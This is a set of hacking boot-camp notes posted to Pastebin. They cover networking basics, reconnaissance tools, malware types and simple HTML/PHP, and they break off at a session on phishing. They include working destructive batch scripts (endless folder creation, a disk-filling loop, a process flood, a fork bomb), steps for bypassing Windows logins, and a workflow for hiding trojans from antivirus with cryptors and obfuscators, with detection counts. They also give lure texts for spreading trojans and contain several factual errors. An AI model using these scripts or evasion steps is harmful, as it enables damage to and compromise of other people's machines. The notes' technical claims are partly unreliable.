Advertisement
senthilnasa

Section Of All Notes

Nov 28th, 2018
498
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 64.00 KB | None | 0 0
  1. Boot Camp Day 1
  2. ===============
  3. Session 1
  4. =========
  5. Introduction to Information Security
  6. ------------------------------------
  7. Information
  8. -----------
  9. Collection of data is known as Information. Information makes a complete meaning.
  10.  
  11. Data
  12. ----
  13. It is raw facts and figures. Data can be anything.
  14. Text
  15. Number
  16. Image
  17. Audio
  18. Video
  19. Data itself, a single piece of data never makes a sense.
  20.  
  21. Security
  22. --------
  23. To protect and secure from leakage and breaches.
  24.  
  25. Information
  26. ===========
  27. Personal Information
  28. Sensitive Information
  29. Financial Information
  30. Economical Information
  31. Banking Information
  32.  
  33. Hackers
  34. =======
  35. The person who have the highest amount of knowledge in the field of computer and technology.
  36. How a system is working.
  37. How processes are working.
  38. How my new technologies are working.
  39. Client side and server side process.
  40.  
  41. Hacking
  42. =======
  43. Gaining someine's data with or without their authorisation. Legally or illegally.
  44.  
  45. Types of Hackers
  46. ================
  47. 1. White Hat Hacker
  48. They are good people, who work for the welfare of the organisation. They work for the security only.
  49. Rahul Tyagi
  50. Abhijeet Singh
  51. Sanjeev Multani
  52. 2. Black Hat Hacker
  53. They are really bad people, which brings chaos and destruction to the cyber society. They have only one thing in mind.... Money.
  54. Mitinik
  55. New Lizard Suqad
  56. 3. Grey Hat Hacker
  57. They are the combination of both. They hack into the stuff and uncurtain the dirty things. They have only one focus ---> Welfare of the society and the people.
  58. Anonymous
  59. The Legions
  60. Hacktivism
  61. Julian Assange --> The Wikileaks
  62. Edward Snoden
  63.  
  64. Script Kidies
  65. -------------
  66. Copy + Paste --> Who just uses the codes and techniques that are created by others without knowning how things are working.
  67. N00bz
  68. -----
  69. They are new babies who are trying to learn something new in the world of cyber.
  70. Crackers
  71. --------
  72. They are not the hackers but they are very very good at cracking the passwords. File passwords, Folder password, OS password, Email password.
  73.  
  74. Why Do People Hack?
  75. -------------------
  76. Security
  77. Money
  78. Revenge
  79. Curiosity|knowledge
  80. Fame
  81. Zoo Zoo Hacker
  82. Rafi Hacker
  83.  
  84. Cyber Crimes And Laws
  85. =====================
  86. IT Act 2000 and IT Act 2008
  87. 28 Types of cyber crime, but all of them are categorised into these few group:
  88. --> Hacking
  89. --> Identity Theft
  90. --> Insult, Online Defamation
  91. --> Harrasament
  92. --> Cyber Terrorism
  93.  
  94. Section 43:
  95. Penalty and compensation for damage to computer and computer system
  96. Section 65:
  97. Tampering with Computer Source Documents
  98. Section 66:
  99. Computer Related Offences
  100. Section 67:
  101. Punishment for publishing or transmitting obsence material in electronic form
  102. Section 71:
  103. Penalty For Misrepresentation
  104. Section 72:
  105. Breach of confidentiality and privacy
  106. Section 73:
  107. Penalty for publishing electronic signature certificate false in certain patricilar | Signature Forgery
  108.  
  109. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  110.  
  111. Session 2
  112. =========
  113.  
  114. Network Terminology I
  115. ---------------------
  116.  
  117. Network
  118. =======
  119. Connection of two or more IT Electronic Devices, with a sole purpose of Information Interchange.
  120.  
  121. Topology
  122. ========
  123. How my devices are connected to each other in the network. Physical layout of the network.
  124.  
  125. 1. Star Topology
  126. ================
  127. When all of my end devices are connected to a central connecting device.
  128. If my central device is down, then communication is not possible.
  129. 2. Ring Topology
  130. ================
  131. When all of my end devices are connected in a closed circular chain.
  132. There are two ways of communication in Ring Topology
  133. 1. Unidirectional
  134. Either clock or anti clock
  135. 2. Bidirectional
  136. Data can go through any direction
  137. 3. Mesh Topology
  138. ================
  139. When all of my devices are connected to every device in the network.
  140. 4. Bus Topology
  141. ===============
  142. When all the end devices are connected to a central communicating line, which is known as Back Bone.
  143. 5. Hybrid Topology
  144. ==================
  145. When two or more type of topologies are connected in the network.
  146.  
  147. Protocols
  148. =========
  149. Set of rules and regulations, which are required by every device to follow, to commnunicate in the network.
  150.  
  151. 1. IP --> Internet Protocol
  152. 2. TCP --> Transmission Control Protocol
  153. 3. UDP --> User Datagram Protocol
  154. 4. FTP --> File Transfer Protocol
  155. 5. HTTP --> Hyper Text Transfer Protocol
  156. 6. SMTP --> Simple Mail Transfer Protocol
  157. 7. VoIP --> Voice Over Internet Protocol
  158. 8. DHCP --> Dynamic Host Configuration Protocol
  159.  
  160. IP Address
  161. ==========
  162. Internet Protocol Address
  163. -------------------------
  164. It is a virtual address which is provided to a device, which is connected to a network or internet, just for communicating. It is unique in a network.
  165.  
  166. Version of IP Address
  167. =====================
  168. 1. IPv4
  169. 2. IPv6
  170.  
  171. 1. IPv4 --> Internet Protocol Version 4
  172. ----------------------------------------
  173. It is a 32 bit long address, divided into 4 octets and seperated by a period.
  174.  
  175. 192.168.0.28 ---> IPv4
  176. 4 octets --> 192|168|0|28
  177. Because I can represent a number using 8 bits(0 and 1)
  178. Periods --> dot(.)
  179.  
  180.  
  181. 192 = 128+64 = 11000000
  182. 168 = 128+32+8 = 10101000
  183. 0 = 00000000
  184. 28 = 16 + 8 + 4 = 00011100
  185.  
  186.  
  187. 128 64 32 16 8 4 2 1
  188. =========================================================
  189. 1 1 0 0 0 0 0 0 192
  190. 1 0 1 0 1 0 0 0 168
  191. 0 0 0 0 0 0 0 0 0
  192. 0 0 0 1 1 1 0 0 28
  193.  
  194.  
  195. 192.168.0.28 = 11000000.10101000.00000000.00011100
  196. It is composed of decimal numbers only. --> 0-9
  197. Total Number Of IP Address --> 2^32 IP Addresses
  198. 0.0.0.0 - 255.255.255.255
  199.  
  200. Classes of IPv4 Addresses
  201. =========================
  202. 1. Class A --> 0.0.0.0 - 127.255.255.255
  203. 2. Class B --> 128.0.0.0 - 191.255.255.255
  204. 3. Class C --> 192.0.0.0 - 223.255.255.255
  205. 4. Class D --> 224.0.0.0 - 239.255.255.255
  206. 5. Class E --> 240.0.0.0 - 255.255.255.255
  207.  
  208. Class D and Class E --> Military and research and development purpose.
  209.  
  210. 2. IPv6 -> Internet Protocol Version 6
  211. ======================================
  212. It is 128 bit long address. It is composed of hexa decimal values. Last 32 bit of IPv6 addresses are taken from MAC Address.
  213. 0000:0000:0000:0000:0000:0000:0000:0000
  214. FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF
  215. Total number of IPv6 --> 2^128
  216. 0000:fe80:0000:f68c:50ff:fe5f:9718
  217. 5f:97:18
  218. f4:8c:50:5f:97:18
  219.  
  220. Types of IP Address
  221. ===================
  222. 1. Public IP Address | Global IP Address
  223. IP Address which is provided by the ISP or that of ISP
  224. Google.com --> myipaddress --> 125.63.71.34
  225. ipcow.com ----> 125.63.71.34
  226. ipchicken.com > 125.63.71.34
  227.  
  228. User-Agent Information
  229. ======================
  230. Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  231. Hostname = 125.63.71.34.reverse.spectranet.in
  232. Device = X11
  233. Operating System = Ubuntu
  234. Browser Name = Firefox
  235. Browser Version = 60.0
  236. Is Mobile Device = False
  237. Is Beta = False
  238. Screen Resolution = 1366 x 768
  239.  
  240. 2. Private IP Address | Local IP Address
  241. This is the IP Address which is provided to end devices which are connected in the network, by the router.
  242. MS-OS --> cmd ---> ipconfig
  243. Linux/Unix --> Terminal --> ifconfig
  244. ifconfig --> interface Configuration
  245.  
  246. IP Subnetting
  247. =============
  248. Division of IP Address into further sub network so that IP wastage is reduced.
  249.  
  250.  
  251. NAT --> Network Address Translation
  252. ===================================
  253. It is a service used just above the router so that my Private IP Address can be converted and mapped into Public IP Address and Public IP Address into Private IP Address.
  254.  
  255. DHCP
  256. ====
  257. Dynamic Host Configuration Protocol
  258. -----------------------------------
  259. It is the protocol which works in the router. It is responsible for allocating an IP Address to the connected device in the network.
  260.  
  261. IP-Pool
  262. =======
  263. It is collection of IP Addressm which can be provided to the devices.
  264. DHCP Server
  265. ===========
  266. It is the server which provides IP Address to the devices from the IP Pool.
  267.  
  268. DHCP allocates the IP Address on the basis of lease time period.
  269.  
  270. MS-OS
  271. =====
  272. cmd ---> ipconfig /release
  273. ipconfig /renew
  274.  
  275. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  276.  
  277. Session 3
  278. =========
  279. Network Terminology II
  280. ======================
  281. Types Of Network
  282. ----------------
  283. 1. PAN --> Personal Area Network --> Bluetooth, ShareIt --> 1-10m
  284. 2. LAN --> Local Area Network --> WiFi, whole Campus --> 10m-5Km
  285. 3. MAN --> MetroP. Area Network --> Whole City --> 5km-50km
  286. 4. WAN --> Wide Area Network --> Internet -->
  287.  
  288. LAN --> Collection of PAN
  289. MAN --> Collection of LAN
  290. WAN --> Collection Of MAN
  291.  
  292. 1. Intranet --> Intra -> Inside | Net -> Network
  293. Network Infrastructure which works inside a campus, cannot be accessed by people outside the campus
  294. 2. Internet --> Connection of two or more networks
  295.  
  296. Ports
  297. =====
  298. Are specific gateways vai which a device can use or access the external service. There are two different types of ports:
  299. 1. Physical Ports
  300. 2. Virtual Ports
  301.  
  302. 1. Physical Ports
  303. =================
  304. These are the ports which we can see, touch and can take the services. Which are present in the device and are used for connecting some different hardwares.
  305. USB
  306. Audio Jack
  307. HDMI
  308. VGA
  309. Charging Port
  310.  
  311. 2. Virtual Ports
  312. ================
  313. These are the ports via which i can use the network services. They are not tangible, but can use the services. External and specific services.
  314. There are 65,555+ virtual ports.
  315. They are also of three types:
  316. 1. Well-Known | Pre-Defined Ports
  317. 2. Registered Ports
  318. 3. Dynamic Ports
  319.  
  320. 1. Well-Known | Pre-Defined Ports
  321. =================================
  322. These are the ports which are defined by internet community for running and hosting some specific services. The services over these ports cannot be changed.
  323. 21 --> FTP
  324. 22 --> SSH
  325. 23 --> Telnet
  326. 80 --> HTTP
  327. 443 --> HTTPS
  328. These services can also run on other ports, but on these ports only these service will run.
  329. Ports under 1-1024 are categorised under this kind of port.
  330.  
  331. 2. Registered Ports
  332. ===================
  333. These are the ports which are registered by certain organisations for running their specific services.
  334. Orcale ----> Database ---> MySQL --> 3306
  335. Apple -----> iPhone -----> iTunes -> 3689
  336. Black Berry Enterprise ---> server > 3101
  337.  
  338. 3. Dynamic Ports
  339. ================
  340. These are the ports which are neither Pre-Defined nor registered ports, and can be used by any computer user locally for their own purpose.
  341. 1337 --> LEET port | Hacker's Port
  342.  
  343. Our computer is a dumb device. We humans can remember the names very easily but computer can only understand a language, that is of numbers. So for computers it is easy to remember the number as compared to the name.
  344.  
  345. DNS
  346. ===
  347. Domain Name System|service
  348. ==========================
  349. This service is used to map IP address to domain name and helps in fetching the response of the specified request.
  350. www.google.com ----> Open front end of google
  351. 172.217.161.4 -----> Open front end of google
  352.  
  353. www.google.co.in --> 172.217.24.227
  354. www.google.co.in
  355. in --> indian domain
  356. co --> company domain inside india
  357. google ----> domain whose name is google
  358. root ---> www|mail|drive|calander
  359.  
  360. Proxy
  361. =====
  362. These are the dummy servers, which are used for hiding and masking my IP Address. Public IP Address.
  363. kproxy.com
  364.  
  365. ipcow.com ---> 125.63.71.34 ---> Original IP Address (Public)
  366. kproxy.com --> ipcow.com ---> 192.95.12.100 -> Proxy wala IP Address
  367.  
  368. VPN --> Virtual Private Network
  369. ===============================
  370. They just work like proxy servers but they are much more advance then the proxy servers in the following ways:
  371. 1. They are used to maintain the anonymity, hiding and masking IP Address
  372. 2. They provide the encryption of data.
  373. 3. They provide the tunneling.
  374. Secret Passage
  375. Connecting to the internal network of an organisation
  376.  
  377. Services
  378. ========
  379. 1. Online Based Service ----> kproxy.com
  380. 2. Extension Based Service -> anonymox
  381. 3. Standalone Service ------> Proper softwares or hardwares which provide us these services.
  382. psiphon3
  383. UltraSurf
  384. Proxpn
  385. HotSpot Shield
  386. openVPN
  387.  
  388. OSI Model
  389. =========
  390. Open System Interconnection Model
  391. ---------------------------------
  392. It is a model which was used for commincation in the network. But due to some obvious reasons, this model was made an ideal model. This model is not used at all.
  393. OSI is 7 layer approach model
  394. 1. Physical Layer
  395. 2. Data Link Layer
  396. 3. Network Layer
  397. 4. Transport Layer
  398. 5. Session Layer
  399. 6. Presentation Layer
  400. 7. Application Layer
  401.  
  402. TCPIP Model
  403. ============
  404. It is 4 layer based model. Which is similar to OSI model. Layers are again independent of each other but it's working is very very fast as compare to that of OSI model.
  405.  
  406. Web Technology Basics
  407. =====================
  408. 1. Domain Name
  409. 2. Hosting Space
  410. 3. Server
  411. 4. DataBase
  412. 5. Technology
  413. Client Side
  414. Server Side
  415.  
  416. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  417.  
  418. Session 4
  419. =========
  420. Information Gathering and Digital Footprinting
  421. ==============================================
  422. Phases of hacking
  423. -----------------
  424. These phases are must to follow in order to perform any kind of hacking.
  425. 1. Information Gathering
  426. 2. Scanning
  427. 3. Gaining Access
  428. 4. Maintaining Access
  429. 5. Covering Traces
  430.  
  431. Information Gathering
  432. ---------------------
  433. To collect as much Information as possible about the target.
  434. Information Gathering is divided into further
  435. 1. Network Specific
  436. 2. Target Specific
  437.  
  438. 1. Network Specific
  439. ===================
  440. To collect the information about the network
  441. Number Of people Connected
  442. IP Address allocated to the connected devices
  443. MAC Address
  444. Name Of the Vendor
  445. If possible --> Access of the shared folder
  446. 1. Advanced IP Scanner
  447. 2. Angry IP Scanner
  448. 3. Soft Perfect Network Scanner
  449. https://www.softperfect.com/products/networkscanner/
  450.  
  451. NMAP --> Network Mapping tool
  452.  
  453. 2. Target Specific
  454. ==================
  455. i. Web site or web application
  456. ii. Human Specific
  457.  
  458. Web site or web Application
  459. ===========================
  460. IP Address
  461. Ping
  462. > 65.52.169.46
  463. Server Information
  464. Dedicated or shared
  465. https://www.yougetsignal.com
  466. Database Information
  467. MX and NX Records
  468. Name of the registrar
  469. Technologies
  470. White list and Black List
  471. |--> robots.txt
  472.  
  473. https://whois.net/
  474. https://www.yougetsignal.com
  475. https://whois.icann.org/en
  476. https://mxtoolbox.com/
  477. wapalyzer --> extension --> helps me in gathering information about the technologies used behind a web site or web application.
  478. Online Nmap
  479. https://pentest-tools.com/network-vulnerability-scanning/tcp-port-scanner-online-nmap
  480.  
  481. Human Specific
  482. ==============
  483. Social Network
  484. Social Networking Websites
  485. Linkedin
  486. Twitter
  487. Facebook
  488. Dating Websites
  489. Matrimonial Websites
  490. Job Portals
  491. Fake Surveys
  492. Spy Services
  493.  
  494.  
  495. Tools
  496. =====
  497. Maltego
  498. It is corporate level information gathering tool. It helps in gathering information about each and every aspect.
  499. Community Edition ---> Free
  500. All transformations does not work in free edition.
  501. https://www.paterva.com/web7/downloads.php
  502.  
  503.  
  504.  
  505. OS Login Bypass
  506. ===============
  507. When you log into the OS, then while starting the windows, you will be asked for password.
  508. 1. Online Method
  509. 2. Offline Method
  510.  
  511. 1. Online Method
  512. ================
  513. When you need to crack or bypass the password, change the OS login password when the system is up, and you do not know the current password. It only works in windows ultimate or professional version.
  514. 1. Right click on "My Computers"
  515. 2. Click on "Manage"
  516. 3. Click on "Local Users and Groups", in the left pane
  517. 4. Click on "Users"
  518. 5. Choose the user, for whom you want to change the password.
  519. 6. Right Click
  520. 7. Set Password
  521.  
  522. 2. Offline Method
  523. =================
  524. This is the condition, when the device is in shut down mode and we cannot open the group editing policies.
  525. SAM --> Security Account Manager
  526. C:WindowsSystem32ConfigSAM
  527. Hiren Boot CD
  528. Kon Boot CD
  529. These are live bootable OS. We use tools like Rufus, to make the media bootable.
  530. BIOS --> Basic Input Output System
  531. Live OS ---> It replaces the BIOS of the Computer or the device from the one which is in the bootable media.
  532.  
  533. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  534.  
  535. Session 5
  536. =========
  537. Malware Illustration
  538. --------------------
  539. Malware --> MAL + WARE
  540. MAL -> MALicious
  541. WARE -> softWARE
  542.  
  543. Malware are malicious softwares which can cause harm to the system. These can be anything, tools, applications, softwares, file.
  544. Types Of Malware:
  545. 1. Virus
  546. 2. Worms
  547. 3. Trojan
  548. 4. Keyloggers
  549. 5. Spywares
  550. 6. Ransomware
  551. 7. Botnet
  552. 8. Rootkits
  553. 9. Adwares
  554.  
  555. 1. VIRUS
  556. ========
  557. Vital Information Resource Under Seize
  558. Virus can be an application, tool, software, which can harm the system and system files of the device.
  559. Symptoms of virus
  560. Slow
  561. Slow Processing
  562. Delete
  563. Attribute change
  564. Extension Change
  565. Shortcut keys|Files
  566. It will remain dormant, until a user executes it. Virus needs human assistance for executing itself.
  567.  
  568. Batch File Virus
  569. ================
  570. 1. Infinite Folder
  571. ------------------
  572. :loop
  573. mkdir %random%
  574. goto loop
  575.  
  576. 2. Cascading folder and file
  577. ----------------------------
  578. :rudra
  579. mkdir rudr
  580. echo Hello Boys... Me acha hu...!! >>rudr.txt
  581. cd rudr
  582. goto rudra
  583.  
  584. 3. Space Eating Virus
  585. ---------------------
  586. echo hello>>file.txt
  587. :loop
  588. type file.txt>>file.txt
  589. goto loop
  590.  
  591. 4. Process Calling
  592. ------------------
  593. :loop
  594. start cmd.exe /c
  595. goto loop
  596.  
  597. 5. Fork Bombing
  598. ---------------
  599. %0|%0
  600.  
  601. https://lucideustech.blogspot.com/2018/04/mac-os-login-screen-bypass-with.html
  602.  
  603. aran.kuanr@gmail.com
  604. aran.k.uanr@gmail.com
  605. ara.n.k.u.anr@gmail.com
  606. a.r.a.n.k.u.a.n.r@gmail.com
  607.  
  608.  
  609. 2. Keyloggers
  610. =============
  611. These are the applications which are used to grab the key strokes of the devices. It is just like an extra layer, which takes the keys and dump them on the screen.
  612. 1. Online Based| Remote --> iStealer
  613. 2. Local Storage
  614. Family Key Logger
  615. http://www.spyarsenal.com/download.html
  616. BPK Keylogger
  617. Refog Keylogger
  618. Screenshoter --> when ever you press anything, key or mouse click, then your application will take a screenshot.
  619. Screen Recorder
  620.  
  621. 3. Ransomware
  622. =============
  623. It is when your system gets hijack and all the system files get encrypted by the attacker and you need to pay some ransom to the attacker for decrypting the files.
  624. WannaCry
  625. Pateya
  626. Bad Rabbit
  627.  
  628. 4. Worms
  629. ========
  630. These are the malwares which spread by itself. It nees human assistance just for once. Common feature
  631. Replication
  632. Copy Itself
  633. Speard Through Pen drive or mail
  634. It is target specific
  635. Conficker worm --> 1,00,000 Devices
  636.  
  637. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  638.  
  639. Session 6
  640. =========
  641. 5. Trojans
  642. ----------
  643. These are the malwares which helps an attacker to gain the remote access of the target device. Remote Access ---> Backdooring. I can have the access, can download any file, can upload anyfile. can use anything and can manipulate the data.
  644. There are two types of trojans:
  645. 1. Forward Connection
  646. 2. Reverse Connection
  647.  
  648. 1. Forward Connection
  649. ---------------------
  650. When the attacker have the target's IP Address, then he can directly attack the system.
  651. 1. Target keeps on moving --> IP Address of the target will keep on changing
  652. 2. It will be very very hard for an attacker to get the target's IP Address everytime, when he will change the location.
  653.  
  654.  
  655. 2. Reverse Connection
  656. ---------------------
  657. The attacker do always have his own IP Address. then the attacker can craft an application which is embedded with his own IP Address. He will send the application to the target. As soon as the target will execute the application, the attacker will receive a reverse remote connection.
  658.  
  659. RAT --> Remote Administrative|Access Tools
  660. These are third party tools which are used for creating Trojans.
  661. Dark Comet
  662.  
  663. How Does Anti-Malware Works
  664. ===========================
  665. All of the Anti-Malware works on the basis of signature. If they have the signature of the trojan in the database, it means, that it is a malware else the file is clean.
  666.  
  667. How to evade Anti-Malware?
  668. ==========================
  669. If I can change the signature it means I can evade the Anti-Malware. We will change the signature of trojan, so that we can evade Anti-Malware.
  670. With the help of these tools we can change the signature of the trojan:
  671. 1. Binders
  672. 2. Cryptors
  673. 3. Hex Editors --> Neo Hex Editor
  674. 4. Obfusscators -> Red Gate Smart Assambely
  675.  
  676. Binder and cryptor
  677. ==================
  678. Chrome Cryptor
  679. URGE Cryptor
  680.  
  681. Raw --> 57/65
  682. Raw + Chrome Cryptor --> 35/65
  683. Raw + Chrome Cryptor + URGE Cryptor --> 29/60
  684. Raw + Chrome Cryptor + URGE Cryptor + Red Gate Smart Assambely --> 12/65
  685.  
  686. Downlaod and install, you will get paytm cash back of 500/-
  687. Downlaod and install the best antivirus
  688. Download the facebook hacker --> hack any facebook account by this application
  689. Download and install ---> will help you in securing your device 100% gauranteed
  690. Scan the network with angry IP Scanner
  691.  
  692. 6. Botnets
  693. ==========
  694. BOTNET = BOT + NET
  695. BOT = roBOT
  696. NET = NETwork
  697. It means that you are connected in the network, and are controlling many devices.
  698. The attacker deployed the trojan in n number of systems and devices and controlling it. That whole network of trojan is known as botnet.
  699. Ares Botnet
  700. https://github.com/sweetsoftware/Ares
  701.  
  702. 7. Rootkits
  703. ===========
  704. Which are or can be planted in the root of the device. Administrator, Kernel.
  705. These are the malwares which attacks and effects the kernel level and hard to find and hard to remove.
  706.  
  707. System Protection From Malwares and Secure System Configuration
  708. ===============================================================
  709. Security
  710. --------
  711. 1. Firewall Should always be enabled.
  712. 2. Anti-Virus Should always be installed and updated.
  713. 3. Windows patches and updates.
  714. 4. Always use sandbox|Virtualised environment for analysing or running a suspicious application.
  715. Sandboxie --> Virtual and simulated environment for analysing
  716. Virtual Box Simulation
  717. 5. EXE radar
  718.  
  719. Configuration
  720. -------------
  721. 1. attrib --> for checking the attribute
  722. 2. services
  723. 3. Activated services
  724. 4. Startup Service
  725. msconfig ---> startup
  726. 5. netstat
  727. 6. netstat -b
  728. -b --> applications which are binded to the port
  729. 7. netstat -ona
  730. all | ports | Numeric Form
  731. 8. Firewall Rule
  732.  
  733. https://lucideustech.blogspot.com/2018/02/tracing-and-terminating-reverse.html
  734.  
  735. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  736.  
  737. Session 7
  738. =========
  739. Introduction to web Architecture and Components
  740. -----------------------------------------------
  741.  
  742. 1. Domain Name
  743. ---------------
  744. godaddy.com
  745. hostgator.com
  746. 2. Hosting Space
  747. ----------------
  748. 000webhost.com
  749. 3. Server
  750. ---------
  751. They are the applications or hardwares which are used to run other programs. server side programs. php script.
  752. It manages the request and response.
  753. When a user enters something in the url bar ---> a request is generated
  754. At the same time, when user receives the data -> a response is received
  755. Servers are again of 2 types:
  756. 1. MS OS Based server
  757. IIS --> Internet Information Services
  758. 2. Linux Based Servers
  759. Apache | Tomcat
  760. 4. Database
  761. -----------
  762. It is known as the backbone. It stores the data of the web site or the web application. It stores the data in a tabular way.
  763. Database --> Tables --> Columns --> Rows (Data)
  764. Database is again of two type:
  765. 1. MS OS --> MSSQL
  766. 2. Linux --> MySQL
  767. 5. Web Technologies
  768. -------------------
  769. These are the coding languages or scripting languages in which our web site or web application is biuld.
  770. They are also divided into 2 types
  771. 1. Client Side | Front End Scripting Language
  772. 2. Server Side | Back End Scripting Language
  773.  
  774. 1. Client Side Scripting
  775. These provides the UI to the web site or the web application. It is what a user sees on the web browser.
  776. These require just a browser to run.
  777. HTML
  778. 2. Server Side Scripting
  779. These are what works on back end. They require a server to run.
  780. PHP
  781.  
  782. MS OS --> ASP.NET
  783. Linux --> PHP
  784.  
  785. MS OS --> IIS + MSSQL + ASP.NET ---> Money
  786. Linux --> Apache|Tomcat + MySQL + php ---> Money
  787.  
  788. Local Hosting Server
  789. ====================
  790. By using these third party application for free, you can launch and host the application or the web site on the LAN and can run the testing for the same. There is no money involved, I can test the application for free.
  791.  
  792. 1. Windows Based Server --> WAMPP
  793. W --> Windows
  794. A --> Apache
  795. M --> MySQL
  796. P --> Perl
  797. P --> Php
  798.  
  799. 2. Linux Based Server --> LAMPP
  800. L --> Linux
  801. A --> Apache
  802. M --> MySQL
  803. P --> Perl
  804. P --> Php
  805.  
  806. 3. Cross Platform Based Server --> XAMPP
  807. X --> Cross Platform
  808. A --> Apache
  809. M --> MySQL
  810. P --> Perl
  811. P --> Php
  812.  
  813. After Installing XAMPP
  814. ======================
  815. 1. Apache
  816. 2. MySQL
  817. we need to start these two services.
  818.  
  819. How To Access XAMPP Server
  820. --------------------------
  821. There are 3 ways via which we can access the xampp server. Open the browser
  822. 1. localhost
  823. 2. 127.0.0.1
  824. 3. Hosted system's IP Address
  825.  
  826. Web Security Misconfigurations
  827. ------------------------------
  828. 1. If I do have a good firewall, I am secure.
  829. 2. If I do have a good IDS and IPS, I am secure.
  830. 3. If the web site of the web application is using HTTPS, I am secure.
  831.  
  832. HTML
  833. ====
  834. Hyper Text Markup Language
  835. --------------------------
  836. Front end developing language. which requires a browser to run.
  837.  
  838. 1. HTML --> Each and everything of the front end is written in this tag.
  839. <html>
  840. xxxxxx
  841. xxxxxx
  842. xxxxxx
  843. </html>
  844.  
  845. 2. Head --> Contains the meta data
  846. Links of styles, title, date etc etc
  847. <head>
  848. xxxxxx
  849. xxxxxx
  850. xxxxxx
  851. xxxxxx
  852. </head>
  853.  
  854. 3. title --> to provide the title to the tab
  855. <title>Name_Of_The_Title</title>
  856.  
  857. 4. Body --> Which contains the whole of the code of the web site and the web application. I works after the head is closed.
  858. <body>
  859. xxxxxx
  860. xxxxxx
  861. xxxxxx
  862. </body>
  863.  
  864. 5. Paragraph -->
  865. <p>.....
  866. ........
  867. ........
  868. ........
  869. </p>
  870.  
  871. 6. Break
  872. <br> --> It is single tag. It doesnot needed to close
  873. 7. Heading
  874. There are 6 types of heading tag
  875. h1
  876. h2
  877. h3
  878. h4
  879. h5
  880. h6
  881. as the number increases, the font size decreases.
  882.  
  883. 8. anchor --> to provide the hyper link to anything
  884. <a href="#">............</a>
  885.  
  886. 9. Image
  887. <img src=""></img>
  888.  
  889. 10. Form
  890. <form action="Kis page p redirect krna hai after clicking submit button" method="GET|POST">
  891. </form>
  892.  
  893. 11. Input
  894. <input type="text|number|date|password" id="Unique ID" name="Name Of the Element">
  895. 12. iframe
  896. <iframe src="http://www.lucideus.com"></iframe>
  897.  
  898. ==========
  899. pagee.html
  900. ==========
  901. <html>
  902. <head>
  903. <title>CII</title>
  904. </head>
  905. <body>
  906. <p>
  907. <h1>Grade 2<br>
  908. =======</h1>
  909. <h2>Session 1<br>
  910. ---------</h2>
  911. <a href="http://www.lucideus.com"><h3>Introduction To Cryptography</a><br>
  912. ----------------------------</h3>
  913. Cryptography --> Conversion of text into another form, which is readable but
  914. not understandable.
  915. <br>
  916. Conversion of plain text into an encrypted text via an algorithm which uses a
  917. key, after transmission, decryption of the encrypted text into the plain text
  918. via same algorithm and the key.
  919. <br>
  920.  
  921. Plain Text --> It is a normal Text, which is typed by the user. which is
  922. readable and understandable to everyone.<br>
  923. Cipher Text --> Encrypted text, which is the output of the encryption.<br>
  924. Encryption --> Process of converting plain text into a Cipher text, it is
  925. readable but not understandable<br>
  926. Decryption --> Reverse of encryption, conversion of Cipher text into a plain
  927. text<br>
  928. Algorithm --> It is the code which is used to encrypt and decrypt the plain
  929. text into cipher text and cipher text into plain text.<br>
  930. Key --> it is a special function, encryption and decryption is possible just
  931. due to this key. <br
  932. </p>
  933. <img src="naruto.jpg" height="700"></img>
  934. <form action="mera.html" method="GET">
  935. Username :<input type="text" id="uname"><br>
  936. Password :<input type="password" id="pass"><br>
  937. <input type="submit" id="but">
  938. </form>
  939. </body>
  940. </html>
  941.  
  942. =========
  943. mera.html
  944. =========
  945. <html>
  946. <head>
  947. <title>Second Page</title>
  948. </head>
  949. <body>
  950. <p>
  951. This is my second page</p>
  952. <iframe
  953. src="http://www.lucideus.com"></iframe><br>
  954. <img src="goku.jpg" height="500"></img>
  955. </body>
  956. </html>
  957.  
  958. PHP Basics
  959. ==========
  960. Server Side Scripting Language
  961.  
  962. <?php
  963. xxxx
  964. xxxx
  965. xxxx
  966. xxxx
  967. ?>
  968.  
  969. <?php ---> Start of PHP code
  970. ?> ---> End of php code
  971. echo "Hello Guys"
  972. $var --> var is name of variable
  973. $hack --> Hack is name of variable
  974. $ ---> used to declare a variable
  975. $_POST
  976. $_GET
  977.  
  978. =========
  979. CALL.html
  980. =========
  981. <html>
  982. <head>
  983. <title>Calculator</title>
  984. </head>
  985. <body>
  986. <form action="calc.php" method="post" attribute="post">
  987. First Value : <input type="text" id="first" name="first"><br>
  988. Second Value : <input type="text" id="second" name="second"><br>
  989. <input type="radio" name="group1" id="add" value="add" checked="true">ADD<br>
  990. <input type="radio" name="group1" id="subtract" value="subtract">SUBTRACT<br>
  991. <button type="submit" id="answer" value="answer">Calculate</button>
  992. </form>
  993. </body>
  994. </html>
  995.  
  996. ========
  997. calc.php
  998. ========
  999. <html>
  1000. <head>
  1001. <title>Jawab</title>
  1002. </head>
  1003. <body>
  1004. <p>
  1005. The Answer is:
  1006. <?php
  1007. $first=$_POST['first'];
  1008. $second = $_POST['second'];
  1009. if($_POST['group1'] == 'add')
  1010. {
  1011. $ans=$first+$second;
  1012. echo $ans;
  1013. }
  1014. if($_POST['group1'] == 'subtract')
  1015. {
  1016. $ans=$first-$second;
  1017. echo $ans;
  1018. }
  1019. ?>
  1020. </p>
  1021. </body>
  1022. </html>
  1023.  
  1024. -x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-
  1025.  
  1026. Session 8
  1027. =========
  1028. Phishing
  1029. --------
  1030. It is a technique in which an attacker creates and develop a fake page or a fake web site, which look completely authentic and genuine. but it is not. He deploys the same and make people to enter their credentials.
